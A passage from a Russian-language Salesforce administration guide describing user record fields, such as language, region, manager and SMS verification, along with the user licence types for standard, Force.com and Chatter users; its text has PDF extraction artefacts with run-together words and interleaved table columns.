дополнительные записи, являющиеся общими для всех
пользователей Data.com List организации. Срок действия
неиспользованных общих дополнительных записей
составляет один год с момента их приобретения.

Параметр стандартной валюты пользователя для новых
записей. Данное поле доступно только мультивалютным
организациям.

Код ISO валюты по умолчанию

Подразделение, применяемоепоумолчаниюковсемновым
организациям и интересам, созданным пользователем,

Стандартное подразделение

кроме случаев выбора другого подразделения. Новым
записям, связанным с организацией или другой записью,
которойуженазначеноподразделение, назначаетсятекущее
подразделение записи. Стандартное подразделение не
используется.

Данныйпараметрнепрепятствуетпросмотруилисозданию
записей в других подразделениях. При необходимости
стандартноеподразделениеможетбыть замененорабочим
подразделением.
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Данное поле доступно только для организаций,
использующих подразделения для сегментирования
данных.

Поле поиска пользователя, используемое для выбора
делегированногоответственного за утверждение запросов.

Делегированный ответственный за утверждение

В зависимости от параметров процесса утверждения,
данный пользователь может утверждать запросы
пользователя.

Группа, где работает пользователь (например, служба
поддержки). Данное поле может содержать не более
80 символов.

Отдел

Данныйфлажоквключаетрежимразработкидля создания
и редактирования страниц Visualforce.

Данное поле доступно только организациям,
использующим Visualforce.

Режим разработки

Данныйфлажок выключает автоматическую подписку на
записи, принадлежащие пользователю. Данное поле
доступно только для организаций, использующих Chatter.

Отключить автоматическую подписку на каналы

Подразделение компании, где работает пользователь
(например, группасбытаПК). Данноеполеможетсодержать
не более 40 символов.

Подразделение

Адрес эл. почты пользователя. Адрес должен быть
действительным и иметь следующийформат:

Эл. почта

aivanov@kompaniya.ru. Данное поле может содержать не
более 80 символов.

Набор символов и кодировка для исходящих сообщений
эл. почты, отправленных пользователем из системы

Кодировка эл. почты

Salesforce. Англоязычные пользователи используют
кодировку ISO-8859-1, которая соответствует всем
символамлатинскогоалфавита. Кодировка UTF-8  (Unicode)
соответствует всем символам всех мировых языков, но не
поддерживается некоторыми устаревшими почтовыми
приложениями. Кодировки Shift_JIS, EUC-JP и
ISO-2022-JP предназначаются японоязычным
пользователям.

Идентификационный номер пользователя.Номер сотрудника

Времязавершениярабочегодняпользователя. Данноеполе
используется для определения времени, отображаемого в
календаре пользователя.

Конец дня

Номер факса пользователя.Факс
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Значение, используемое для определения пользователя
единой регистрации с интегрированной проверкой
подлинности.

Код интегрирования

Личное имя пользователя, отображаемое на странице
редактирования сведений о пользователе. Данное поле
может содержать не более 40 символов.

Личное имя

Данныйфлажокпредоставляетполномочиенавыполнение
потоков. Доступно в версиях Developer Edition (с

Пользователь Force.com Flow

ограничениями), Enterprise Edition, Unlimited Edition и
Performance Edition.

Данныйпараметрможетбытьвключентолькоприналичии
полномочия «Управление Force.com Flow».

При наличии полномочия «Выполнение потоков» не
рекомендуем включать данное поле.

Данныйфлажок включает меню быстрого доступа
Force.com, отображаемое в списковых представлениях

Меню быстрого доступа Force.com

объектовина страницах сведенийо записях. Данноеменю
содержит ссылки для настройки приложений и объектов.

Стандартная валюта для всех полей валюты в записи
пользователя. Данное поле доступно только
мультивалютным организациям.

Валюта информации

ДанныйфлажокпредоставляетдоступкSalesforce Knowledge.
Профиль пользователя определяет возможность доступа

Пользователь базы знаний

ко вкладке «Управление статьями» или «Статьи». Доступно
в версиях Professional Edition, Enterprise Edition, Unlimited Edition
и Performance Edition.

Основной язык пользователя. Весь текст и интерактивная
справкаотображаетсянаданномязыке. Вверсиях Professional

Язык

Edition, Enterprise Edition, Unlimited Edition и Performance Edition
параметротдельногопользователя «Язык» переопределяет
параметр организации «Стандартный язык».

Недоступно в версиях Personal Edition, Contact Manager и
Group Edition™. Параметрорганизации «Язык отображения»
применяется ко всем пользователям.

Дата и время последнего успешного входа пользователя.
Данноезначениеобновляетсяпоистечении 60 секундпосле
последнего входа пользователя. (Только для чтения)

Последний вход

Фамилия пользователя, отображаемая на странице
редактирования сведений о пользователе. Данное поле
может содержать не более 80 символов.

Фамилия
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Дата и время последнего изменения или сброса пароля
пользователя. Данное поле, доступное только для чтения,

Последнее изменение или сброс пароля

отображается только при наличии полномочия
«Управление пользователями».

Часть адреса пользователя: название страны или
географического региона.

Параметр «Регион» определяетформат календаря, а также
полей даты, даты/времени и чисел. Например, при

Регион

использовании региона «Английский (Соединенные
Штаты)» дата отображается как 06/30/2000, а при
использовании региона «Английский (Соединенное
Королевство)» — как 30/06/2000. При использовании
региональных параметров «Английский (США)» время
отображается в 12-часовомформате с указателями AM и PM
(например, 2:00 PM), а при использовании региона
«Английский (Великобритания)» — в 24-часовомформате
(например, 14:00).

Кроме того, параметр «Регион» определяет порядок
отображения имени и фамилии в поле «Имя», которое
доступно в записи пользователя, интереса или контакта.
Например, при использовании региона «Английский
(СоединенныеШтаты)» имяотображаетсякакИванПетров,
а при использовании региона «Китайский (Китай)» — как
Петров Иван.

Вверсии Personal Edition используемыйрегионопределяется
на уровнеорганизации. Чтобыоткрыть страницу сведений
об организации, введите строку «Сведения о компании» в
поле «Быстрый поиск» в меню «Настройка» и выберите
пункт «Сведения о компании». Во всех других версиях
личный регион пользователя, доступный на странице
личныхсведений, переопределяетпараметрыорганизации.

Данныйфлажокоткрываетстраницу «Настройка» привходе
пользователей.

Использовать страницу "Настройка" как мою
стандартную целевую страницу

Поле поиска, используемое для выбора менеджера
пользователя. Данное поле:

Менеджер

• Определяет иерархическую взаимосвязь, препятствуя
выбору пользователя, который прямо или косвенно
подчиняется самому себе.

• Позволяет Chatter рекомендовать людей и записи для
отслеживания на основе структуры подчинения
организации.
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Данное поле предназначено для создания иерархических
бизнес-правил и процессов утверждения без создания
дополнительных полей иерархии.

Прим.: Вотличиеотдругихполейиерархии, система
позволяет деактивироватьпользователей, указанных
в поле «Менеджер».

Данныйфлажок позволяет пользователю создавать,
редактировать и удалять кампании, настраивать

Пользователь Marketing

дополнительные параметры кампаний, импортировать
интересы и обновлять журналы кампаний посредством
мастеров импорта участников. Доступно в версиях
Professional Edition, Enterprise Edition, Unlimited Edition и
Performance Edition.

Чтобы использовать мастер импорта кампаний,
пользователям Marketing должен быть назначен профиль
«Пользователь Marketing» (или полномочие «Импорт
интересов» иполномочие «Редактирование» для кампаний
в версиях Enterprise Edition, Unlimited Edition и Performance
Edition).

Еслиданныйфлажокнеустановлен, топользовательможет
только просматривать кампании и дополнительные
параметрыкампаний, редактироватьжурнал кампаниидля
отдельного интереса или контакта и запускать отчеты по
кампаниям.

Отчество пользователя, отображаемое на странице
редактирования сведений о пользователе. Данное поле
может содержать не более 40 символов.

Отчество

Прим.: Чтобы включить данное поле, обратитесь в
службу поддержки Salesforce. Введите строку
«Пользовательский интерфейс» в поле «Быстрый
поиск» в меню «Настройка» и выберите пункт
«Пользовательский интерфейс». Затем выберите
Включить суффиксы для имен пользователей.

Номер мобильного телефона. Данное поле может
содержать не более 40 символов.

Данный номер используется для подтверждения
подлинности на основе SMS. Чтобы включить

Мобильный тел.

подтвержденияподлинностинаоснове SMS, введитестроку
«Параметры сеанса» в поле «Быстрый поиск» в меню
«Настройка», выберите пункт «Параметры сеанса» и
установите флажок в поле «Включить метод
подтверждения подлинности посредством SMS».
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После включения метода подтверждения подлинности
посредством SMS каждомупользователю, профилькоторого
не содержит проверенный номер мобильного телефона,
предлагаетсяпроверитьномермобильноготелефонапосле
выполнения входа. Процедура также применяется в
отношении пользователей без номера мобильного
телефона. Пользовательможет выбратьодноиз указанных
ниже действий.

• Введитеномермобильноготелефонаивоспользуйтесь
текстовым сообщением, содержащим код проверки.

• Напомнитьонеобходимостивводаномерамобильного
телефона при следующем входе.

• Откажитесьотпроверкиномерамобильноготелефона.
Пользователи, выбравшиеданноедействие, могутпозже
зарегистрировать номер мобильного телефона на
странице личных сведений. Пользователи лицензий
Chatter Free и Chatter External, выбравшие данное
действие, могутнастроитьномермобильноготелефона
только при участии администратора.

Подтвержденный номер мобильного телефона
используется системой Salesforce в случае необходимости
проверкипользователя. Например, дляпроверкипривходе
в систему с использованием неизвестного IP-адреса.

Номера мобильных телефонов могут быть также введены
и предварительно проверены администратором
организации. Если флажок «Включить метод
подтверждения подлинности посредством SMS»
устанавливается при вводе номера мобильного телефона
администратором или при его извлечении из API
посредствомобъекта «Пользователь», тономермобильного
телефонасчитаетсяпроверенным. Приотсутствиифлажка
«Включить метод подтверждения подлинности
посредством SMS» новый номер мобильного телефона
считается непроверенным.

Мобильная конфигурация, назначенная пользователю.
При отсутствии выбранной мобильной конфигурации

Мобильная конфигурация

данное поле по умолчанию содержит мобильную
конфигурацию, назначенную профилю пользователя.

Данное поле доступно организациям, использующим
систему Salesforce для управления мобильными
конфигурациями.

Данныйфлажок назначает пользователю одну лицензию
Salesforce Classic Mobile, предоставляющую доступ к

Пользователь Mobile
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приложению Salesforce Classic Mobile. Количество записей
пользователя с установленнымфлажком не может
превышать общего количества доступных мобильных
лицензий. Доступно в версиях Professional Edition, Enterprise
Edition, Unlimited Edition и Performance Edition.

Параметр «Пользователь Mobile» включается по
умолчаниюдляпользователей Unlimited Edition, Performance
Edition и Developer Edition. Чтобы запретить активацию
приложения Salesforce Classic Mobile на мобильных
устройствах пользователей до его развертывания,
выключите данный параметр для всех пользователей.

Чтобы отменить мобильную лицензию пользователя,
который уже активировал учетную запись Salesforce Classic
Mobile, снимите флажок «Пользователь Mobile». При
следующейсинхронизацииустройствассистемойSalesforce
все данные Salesforce удаляются с устройства, а также
удаляется связь между устройством и пользователем.

Прим.: Флажок «Пользователь Mobile» не
относитсякбесплатнойверсииприложенияSalesforce
Classic Mobile, так как данное приложение
предоставляет доступ к системе Salesforce без
мобильной лицензии.

Пользователь, который изменял поля пользователя
последним, а также дата и время изменения. (Только для
чтения)

Изменено

Если раскрывающийся список «Тип пользователя
Data.com» содержит значение «ПользовательData.com»,

Ежемесячное ограничение по количеству контактов и
интересов

то данное поле отображает количество контактов и
интересовData.com, доступноеежемесячнодлядобавления.

Поумолчаниюкаждойлицензииназначается 300 записей,
однако данное значение может быть уменьшено или
увеличено, нонеможетпревышатьзаданныеограничения.

Личное имя, отчество (бета-версия), фамилия и суффикс
(бета-версия) пользователя, отображаемые на странице
редактирования сведений о пользователе.

Имя

Данныйфлажок позволяет пользователям организации
получать рекламные сообщения эл. почты от компании

Информационный бюллетень

Salesforce. Данное поле недоступно, если организация
отключает возможность определения необходимости
получения сообщений эл. почты от компании Salesforce.

Прозвище — это имя, используемое для определения
пользователя в сообществе. Данное полеможет содержать

Псевдоним
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неболее 40 символов. Данноеполеможетредактироваться
стандартными пользователями.

Административныйфлажок, предоставляющий
пользователю доступ к приложению Connect Offline.

Пользователь Offline

Доступно в версиях Professional Edition, Enterprise Edition,
Unlimited Edition и Performance Edition.

Данныйфлажоксоответствуетпользователюпартнерского
портала, являющемуся суперпользователем.

Суперпользователь-партнер

Номер телефона пользователя. Данное поле может
содержать не более 40 символов.

Тел.

Административное поле, определяющее основные
полномочияпользователянавыполнениеразныхфункций

Профиль

в приложении. Дополнительные полномочия могут быть
предоставлены пользователю посредством наборов
полномочий.

Параметр получения сообщений эл. почты, содержащих
запросы на утверждение.

Данныйпараметртакжеопределяетвозможностьполучения
пользователем уведомлений о запросах на утверждение в
приложении Salesforce1.

Принимать сообщения эл. почты, содержащие запросы
на утверждение

Данный параметр позволяет пользователям (кроме
пользователей портала), имеющим лицензию

Принимать ежедневные рассылки Salesforce CRM

Content
«Пользователь Salesforce CRM Content» иподписку
Salesforce CRM Content, получать ежедневные электронные
сводки по активности подписанного содержимого,
библиотек, тегов или авторов. Получение сообщений эл.
почты доступно только после установки флажка
«Принимать электронные предупреждения Salesforce

CRM Content». Пользователям портала не требуется
лицензия «Пользователь Salesforce CRM Content».
Пользователям должно быть предоставлено только
полномочие «Просмотр содержимого на порталах».

Данный параметр позволяет пользователям (кроме
пользователей портала), имеющим лицензию

Принимать электронные предупреждения Salesforce

CRM Content
«Пользователь Salesforce CRM Content» иподписку
Salesforce CRM Content, получать электронные уведомления
об активности подписанного содержимого, библиотек,
тегов или авторов. Получение электронных
предупреждений в режиме реального времени доступно
толькоприналичииданногофлажкаиотсутствиифлажка
«Принимать ежедневные рассылки Salesforce CRM

Content». Пользователямпорталане требуетсялицензия
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«Пользователь Salesforce CRM Content».
Пользователям должно быть предоставлено только
полномочие «Просмотр содержимого на порталах».

Административное поле, определяющее положение
пользователя внутри организации (например, «Менеджер

Роль

службыподдержкив западномрегионе»). Роливыбираются
из раскрывающегося списка доступных ролей, которые
могут быть изменены администратором.

Недоступно в версиях Personal Edition, Contact Manager и
Group Edition.

Данныйпараметропределяет возможностьиспользования
Salesforce CRM Content. Доступновверсиях Professional Edition,
Enterprise Edition, Unlimited Edition и Performance Edition.

Пользователь Salesforce CRM Content

Данныйфлажоквключаетавтоматическуюпереадресацию
на мобильное веб-приложение Salesforce1 при входе

Пользователь Salesforce1

пользователя в систему Salesforce посредством
поддерживаемого мобильного веб-обозревателя.
Организация должна поддерживать мобильное
веб-приложение Salesforce1.

Если данныйфлажок установлен, то пользователь создан
путем самостоятельной регистрации на клиентском

Зарегистрирован самостоятельно на клиентском портале

портале. Доступно в версиях Enterprise Edition, Unlimited
Edition и Performance Edition.

Данный параметр позволяет пользователям получать
электронные уведомления о выполнении Apex,

Отправить электронные предупреждения Apex

превышающего более 50% предоставленных
контролирующих ограничений.

Доступнотольковверсиях Developer Edition, Enterprise Edition,
Unlimited Edition и Performance Edition.

Данныйфлажокактивируетвкладку «Состояниепросмотра»
в нижнем колонтитуле режима разработки для страниц
Visualforce.

Данное поле доступно только организациям,
использующимVisualforceивключившимпараметр «Режим
разработки».

Показать состояние просмотра в режиме разработки

Данныйфлажок назначает пользователю одну лицензию
Site.com Contributor, предоставляющую ограниченный

Пользователь Site.com Contributor

доступк Site.com Studio. Пользователислицензией Site.com
Contributor могут использовать Site.com Studio только для
редактирования содержимого сайта.
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Количество записей пользователя с установленным
флажком не может превышать общего количества
доступных лицензий Site.com Contributor.

Доступно в версиях Developer Edition, Enterprise Edition,
Unlimited Edition и Performance Edition только при
использовании Site.com.

Данныйфлажок назначает пользователю одну лицензию
Site.com Publisher, предоставляющую полный доступ к

Пользователь Site.com Publisher

Site.com Studio. Пользователи с лицензией Site.com Publisher
могут создаватьиоформлять веб-сайты, определятьмакеты
ифункциональные возможности страниц и их элементов,
а также добавлять и редактировать содержимое.

Количество записей пользователя с установленным
флажком не может превышать общего количества
доступных лицензий Site.com Publisher.

Доступно в версиях Developer Edition, Enterprise Edition,
Unlimited Edition и Performance Edition только при
использовании Site.com.

Время начала рабочего дня пользователя. Данное поле
используется для определения времени, отображаемого в
календаре пользователя.

Начало дня

Часть адреса пользователя: название области илиштата.
Значение выбирается из раскрывающегося списка

Область/штат

стандартных значений или вводится как текст. Поле,
являющееся текстовым, может содержать не более
80 символов.

Суффиксименипользователя, отображаемыйна странице
редактирования сведений о пользователе. Данное поле
может содержать не более 40 символов.

Суффикс

Прим.: Чтобы включить данное поле, обратитесь в
службу поддержки Salesforce. Введите строку
«Пользовательский интерфейс» в поле «Быстрый
поиск» в меню «Настройка» и выберите пункт
«Пользовательский интерфейс». Затем выберите
Включить суффиксы для имен пользователей.

Основной часовой пояс нахождения пользователя.Часовой пояс

Добавленный маркер может при необходимости
использоваться для подтверждения подлинности

Контролируемый по времени маркер

пользователя (например, при входе посредством
неизвестного IP-адреса).
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При наличии полномочия «Двухфакторная проверка
подлинности для входов посредством пользовательского
интерфейса» пользователю предлагается вводить данный
маркер при входе в систему Salesforce посредством
пользовательского интерфейса.

При наличии полномочия «Двухфакторная проверка
подлинности для входов посредством API» и добавлении
контролируемогоповременимаркерапользовательдолжен
вводить данный маркер взамен стандартного маркера
безопасности.

Должность пользователя. Данное поле может содержать
не более 80 символов.

Должность

Пространство хранилища, используемое пользователем.Используемое пространство

Данное поле определяет тип лицензии пользователя.Лицензия пользователя

Административное поле, которое определяет вход
пользователя. Данное поле может содержать не более
80 символов.

Имя пользователя

Часть адреса пользователя: почтовыйиндекс. Данноеполе
может содержать не более 20 символов.

Почтовый индекс

СМ. ТАКЖЕ:

Просмотр и управление пользователями

Общие сведения о лицензиях пользователя

Просмотр лицензий на компоненты организации

Ограничение доменов эл. почты пользователя

Общие сведения о лицензиях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные версии
определяются каждым
текущим типом лицензии
пользователя, лицензии
набора полномочий или
лицензии на компонент.

ЧтобывключитьопределенныефункцииSalesforce, рекомендуемвыбратьоднулицензию
пользователя для каждого пользователя. Чтобы включить дополнительные функции,
рекомендуем назначить пользователям лицензии набора полномочий и лицензии на
компонентыилиприобрестиправанаосновеиспользованиядля текущейорганизации.

НекоторыефункцииSalesforce требуютналичияопределенныхполномочий. Например,
просмотробращенийдоступенпользователямтолькоприналичииполномочия «Чтение»
дляобращений. Темнеменее, полномочиямогутбытьназначеныневсемпользователям.
Подобно включаемымфункциям, каждому полномочию соответствуют собственные
требования. Пользователюможетбытьназначенотолькополномочие, поддерживаемое
его лицензией. Одно полномочие может поддерживаться несколькими лицензиями.

Представьте, чтополномочия являются замками, а лицензииявляются связкамиключей.
Отдельное полномочие может быть назначено пользователям только при наличии
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лицензии, содержащей соответствующий ключ. Каждому пользователю может быть назначена только одна лицензия
пользователя, но несколько лицензий набора полномочий или лицензий на компоненты, предоставляющих
дополнительные полномочия.

Например, вотличиеотлицензиипользователя Salesforce, лицензияпользователя Force.com—App Subscription не содержит
ключ, предоставляющий доступ к полномочию «Чтение» для обращений. При назначении данного полномочия
пользователю с лицензией Force.com—App Subscription отображается сообщение об ошибке. Тем не менее, полномочие
«Чтение» дляобращенийможетбытьназначенопользователюслицензией Force.com—App Subscription посленазначения
ему лицензии набора полномочий «Сообщество компании» для Force.com.

Ниже перечислены типы лицензий и права на основе использования, поддерживаемые системой Salesforce.

Общие сведения о лицензиях пользователя
Лицензия пользователя определяет основные функции, доступные пользователю. Каждому пользователю должна
быть назначена только одна лицензия.Полномочия пользователя для доступа к данным назначаются посредством
профиля. Дополнительные полномочия могут быть назначены посредством наборов полномочий.

Лицензии набора полномочий
Наборполномочий — это удобныйспособназначенияпараметровиполномочийдляпредоставленияпользователям
доступа к различным инструментам и функциям.

Общие сведения о лицензиях на компоненты
Лицензияна компонентпредоставляетпользователюдоступкдополнительнойфункции, котораянеподдерживается
текущей лицензией пользователя (например, Marketing или Work.com). Пользователям может быть назначено любое
количество лицензий на компоненты.

Общие сведения о правах на основе использования
Право на основе использования — это ограниченный ресурс, который может использоваться организацией на
регулярной основе (например, максимально допустимое количество ежемесячных входов в партнерское сообщество
или ограничение по количеству записей для пользователей Data.com List).

Общие сведения о лицензиях пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступные версии
определяются каждым
текущим типом лицензии
пользователя.

Лицензия пользователя определяет основные функции, доступные пользователю.
Каждому пользователю должна быть назначена только одна лицензия.Полномочия
пользователядлядоступакданнымназначаютсяпосредствомпрофиля. Дополнительные
полномочия могут быть назначены посредством наборов полномочий.

Пример: Например, если сотруднику А назначается лицензия пользователя
Force.com, а сотруднику Б назначается лицензия пользователя Salesforce, то
полномочие «Чтение» дляобращенийможетбытьпредоставленотолькосотруднику
Б. Лицензияпользователя, назначеннаясотрудникуА, неподдерживаетполномочия
для стандартных объектов, кроме полномочий для организаций и контактов.

Ниже перечислены типы лицензий, поддерживаемые системой Salesforce.

• Стандартные лицензии пользователя

• Лицензии пользователя Chatter

• Лицензии пользователя сообществ

• Лицензии пользователя портала Service Cloud

• Лицензии пользователя Sites и Site.com

• Лицензии пользователя «Проверенный веб-узел»
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Прим.: Данныйсписокможетсодержатьдругиетипылицензийприусловииприобретениякомпаниейнастраиваемых
лицензийпользователядляразныхтиповфункций.Крометого, организацияможетиспользоватьдругиелицензии,
которые все еще поддерживаются, но недоступны для приобретения. Дополнительную информацию можно
получить в компании Salesforce.

Нижеперечисленытипылицензий, доступныетолькоорганизациям, которыеиспользуютклиентскийилипартнерский
портал. Дополнительную информацию о предоставлении клиентам или партнерам общего доступа к данным при
отсутствии клиентского или партнерского портала см. в разделе «Лицензии пользователя сообществ» на странице 545.

• Лицензии пользователя клиентского портала

• Лицензии пользователя «Клиентский портал: управление предприятием»

• Лицензии пользователя партнерского портала

Лицензии пользователя «Проверенный веб-узел»

Пользователям портала Platform предоставляется лицензия «Проверенный веб-узел», которая предназначается для
использования Force.com Sites. Данная лицензия предоставляет именованнымпользователям сайтов неограниченное
количество входов на портал Platform для получения доступа к сведениям службы поддержки.

СМ. ТАКЖЕ:

Просмотр и управление пользователями

Поиск сведений о компании

Просмотр лицензий пользователя организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра лицензий
пользователя:
• «Просмотр настройки и

конфигурации»

Чтобыопределитькомпоненты, доступныедляназначенияпользователям, просмотрите
лицензии пользователя, приобретенные компанией.

1. Введите строку «Сведения о компании» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Сведения о компании».

2. Просмотрите связанный список «Лицензии пользователя».

Дополнительную информацию о приобретении дополнительных лицензий
пользователя см. в разделе «Приобретение дополнительных лицензий пользователя»
на странице 501 или обратитесь в службу поддержки Salesforce.
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Стандартные лицензии пользователя

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступные версии
определяются каждым
текущим типом лицензии
пользователя.

Данный раздел содержит сведения о стандартных лицензиях пользователя, доступных
для организации (например, лицензии пользователя Salesforce и типы лицензий
пользователя Force.com).

Доступно в
версиях

ОписаниеТип лицензии

Все версииДанная лицензия предназначается
пользователям, которым требуется полный
доступ к стандартным приложениям CRM и
Force.com AppExchange. Данная лицензия

Salesforce

предоставляет пользователям право на доступ
к любому стандартному или настраиваемому
приложению.

Каждая лицензия предоставляет
дополнительноехранилищедляпользователей
Enterprise Edition, Unlimited Edition и Performance
Edition.

Enterprise Edition,
Unlimited Edition и

Данная лицензия предназначается
пользователям, которым требуется доступ

Пользователь
Knowledge
Only Performance

Edition
только к приложению Salesforce Knowledge.
Данная лицензия предоставляет доступ к
настраиваемым объектам, настраиваемым
вкладкам и перечисленным ниже стандартным
вкладкам.

• Статьи

• Управление статьями

• Chatter

• Файлы

• Начальная страница

• Профиль

• Отчеты

• Настраиваемые объекты

• Настраиваемые вкладки

Лицензия «Пользователь Knowledge Only»
поддерживает профиль Knowledge Only,
предоставляющий доступ ко вкладке «Статьи».
Просмотр и использование вкладки
«Управление статьями» доступны только при
наличии полномочия «Управление статьями».

Enterprise Edition,
Unlimited Edition,

Предоставляет пользователям доступ к
функциям Salesforce Identity.Salesforce Identity

Identity

Performanceслужит для подключения пользователей
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Доступно в версияхОписаниеТип лицензии

Salesforce к внешним приложениям и службам и позволяет
администраторам контролировать процессы проверки и
авторизации таких пользователей.

Дополнительную информацию см. в Руководстве по внедрению
Salesforce Identity.

Edition иDeveloper Edition

Каждойновойорганизации
Developer Edition
предоставляется
10 бесплатных лицензий
Identity.

Enterprise Edition,
Unlimited Edition,

Даннаялицензияпредоставляет доступ кфункциямподлинности
пользователям, которые не являются основными пользователями

External
Identity

Performance Edition и
Developer Edition

Каждойновойорганизации
Developer Edition

организации (например, пользователи, не являющиеся
сотрудниками). Данная лицензия поддерживает хранение и
управление пользователями, выбор способа проверки их
подлинности (имяпользователя/пароль, либоединаярегистрация
посредством социальных сетей Facebook, Google+, LinkedIn и т. д.)
и предоставление возможности самостоятельной регистрации.

предоставляется
5 бесплатных лицензий
External Identity.

Professional Edition,
Enterprise Edition,

Данная лицензия предназначается пользователям, которым
недоступна лицензия Salesforce, но требуется доступ кWork.com.

Пользователь
Work.com Only

Unlimited Edition,
Прим.: ФункцииWork.comдоступныполностьютолькопри
наличии Chatter.

Performance Edition и
Developer Edition

Типы лицензий пользователя Force.com

Доступно в версияхОписаниеТип лицензии

Enterprise Edition,
Unlimited Edition,

Данная лицензия предназначается пользователям, которым
требуется доступ к настраиваемым приложения, но не требуется

Salesforce
Platform

Performance Edition и
Developer Edition

доступ к стандартнымфункциям CRM. Данная лицензия
предоставляет пользователям право на использование
настраиваемых приложений, разработанных в организации или
установленных из каталога Force.com AppExchange. Кроме того,
пользователям предоставляется право на использование базовых
функций платформы (например, организации, контакты, отчеты,
панели мониторинга, документы и настраиваемые вкладки). Тем
не менее, данным пользователям недоступны некоторые
полномочия и стандартные приложения, включая стандартные
вкладки и объекты (например, прогнозы и возможности). Кроме
того, данная лицензия предоставляет пользователям право на
использование приложения Connect Offline.

Прим.: Данная лицензия позволяет пользователям
просматриватьпанелимониторингатолькоприназначении
аналогичной лицензии текущему пользователю.
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Доступно в версияхОписаниеТип лицензии

Лицензия Salesforce Platform предоставляет пользователям доступ
ко всем настраиваемым приложениям организации.

Каждая лицензия предоставляет дополнительное хранилище для
пользователей Enterprise Edition, Unlimited Edition и Performance
Edition.

Enterprise Edition и
Unlimited Edition

Force.com - One
App

Прим.: Данная лицензия недоступна новым клиентам.

Данная лицензия предназначается пользователям, которым
требуется доступ к одному настраиваемому приложению, но не
требуется доступ к стандартнымфункциям CRM. Лицензия
Force.com — One App предоставляет пользователям полномочия
пользователей Salesforce Platform и доступ к неограниченному
количеству настраиваемых вкладок. Тем не менее, доступ
ограничиваетсяоднимнастраиваемымприложением, содержащим
не более 10 настраиваемых объектов, а объекты «Организации» и
«Контакты» доступны только для чтения.

Прим.: Данная лицензия позволяет пользователям
просматриватьпанелимониторингатолькоприназначении
аналогичной лицензии текущему пользователю.

Каждаялицензияпредоставляетдополнительные 20 Мбхранилища
данныхи 100 Мбхранилищафайлов, независимоотиспользуемой
версии Salesforce.

Enterprise Edition,
Unlimited Edition и
Performance Edition

Данная лицензия предоставляет пользователям доступ к
приложениям Force.com Light и Force.com Enterprise, которые не
поддерживают функции CRM.

Приложение Force.com Light поддерживает не более
10 настраиваемых объектов и 10 настраиваемых вкладок, доступ к

Force.com App
Subscription

организациям и контактам только для чтения, а также параметры
безопасности на уровне объекта и поля. Приложение Force.com
Light не позволяет использовать Bulk API или Streaming API.

Приложение Force.com Enterprise поддерживает не более
10 настраиваемых объектов и 10 настраиваемых вкладок. Помимо
полномочий приложения Force.com Light, приложение Force.com
Enterpriseподдерживаетобщийдоступна уровне записи, позволяет
использоватьBulk APIи Streaming API, а такжепредоставляет доступ
к организациям и контактам для чтения и записи.

Прим.: Данная лицензия позволяет пользователям
просматриватьпанелимониторингатолькоприназначении
аналогичной лицензии текущему пользователю.

Каждая лицензия Force.com App Subscription предоставляет
дополнительные 20 Мб хранилища данных на пользователя в
версии Enterprise Edition и 120 Мб хранилища данных на
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Доступно в версияхОписаниеТип лицензии

пользователяв версиях Unlimited Edition и Performance Edition, а также
2 Гб хранилищафайлов, независимо от используемой версии.

Enterprise Edition,
Unlimited Edition,

Данная лицензия предназначается внутренним пользователям.
Даннаялицензияпредоставляетдоступкнастраиваемымобъектам

Employee
Community User

Performance Edition и
Developer Edition

приложенияForce.com Light, настраиваемымвкладкам, Chatter (люди,
группы, лентыифайлы), а также к сообществу, поддерживающему
сайт Site.com.

Пользователямданнойлицензиипредоставляетсядоступкстатьям
Salesforce Knowledge только для чтения, а также ограниченный
доступ к обращениям — для создания и чтения собственных
обращений. Также доступны указанные ниже действия.

• Доступ к 10 настраиваемым объектам и 10 настраиваемым
вкладкам

• Использование содержимого, идей и ответов

• Использование действий, задач, календаря и событий

• Доступ к организациям и контактам только для чтения

СМ. ТАКЖЕ:

Общие сведения о лицензиях пользователя

Лицензии пользователя Chatter

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Лицензии Chatter External
и Chatter Free доступны в
версиях: Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition, Contact
Manager и Developer
Edition.

Лицензии Chatter Only (или
Chatter Plus) доступны в
версиях: Professional
Edition, Enterprise Edition,
Unlimited Edition и
Performance Edition.

Все стандартные лицензии Salesforce включают в себя бесплатный доступ к Chatter для
всех пользователей в организации. Salesforce также предлагает ряд лицензий, которые
включают в себя толькофункции Chatter: Chatter External, Chatter Free и Chatter Only (также
известен как Chatter Plus).

Chatter External

Лицензияпредназначенадляпользователей, находящихсязапределамикорпоративного
домена электронной почты. Такие пользователи (клиенты) могут быть приглашены в
соответствующие группы Chatter. Клиенты могут просматривать сведения и
взаимодействовать спользователямитолько тех групп, в которыеониприглашены. Они
не могут просматривать данные и объекты Chatter.

Chatter Free

Лицензия Chatter Free предназначается пользователям, которым недоступны лицензии
Salesforce, но требуется доступ к Chatter. Данные пользователи могут просматривать
стандартныеэлементы Chatter (например, люди, профили, группыифайлы), нонемогут
просматривать данные и объекты Salesforce. Пользователи Chatter Free могут быть
модераторами Chatter.
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В отличие от других пользователей Salesforce, пользователям Chatter Free не доступны вкладки. Пользователи Chatter Free
могут просматривать ленты, группы, файлы и людей Chatter посредством ссылок на боковой панели страницы.

Лицензия Chatter Free может быть в любое время преобразована в стандартную лицензию Salesforce или Chatter Only.
Стандартная лицензия Salesforce или Chatter Only не может быть преобразована в лицензию Chatter Free.

Chatter Only (Chatter Plus)

Лицензия Chatter Only такжеизвестна как лицензия Chatter Plus. Даннаялицензияпредназначаетсяпользователям, которым
недоступны лицензии Salesforce, но требуется доступ к Chatter и некоторым объектам Salesforce. Пользователи Chatter Plus
могутбытьмодераторами Chatter ипросматривать стандартныеэлементы Chatter (страницыучастников, профили, группы
и файлы) Также им доступны указанные ниже действия.

• Просмотр организаций и контактов Salesforce

• Использование Salesforce CRM Content, «Идеи» и «Ответы»

• Доступ к отчетам и панелям мониторинга

• Использование и утверждение бизнес-правил

• Использование календаря для создания и отслеживания действий

• Просмотр и изменение не более 10 настраиваемых объектов

• Добавление записей в группы

Поумолчаниюстандартныеобъекты Salesforce скрытыдляпользователей Chatter Plus. Чтобыотобразитьих, предоставьте
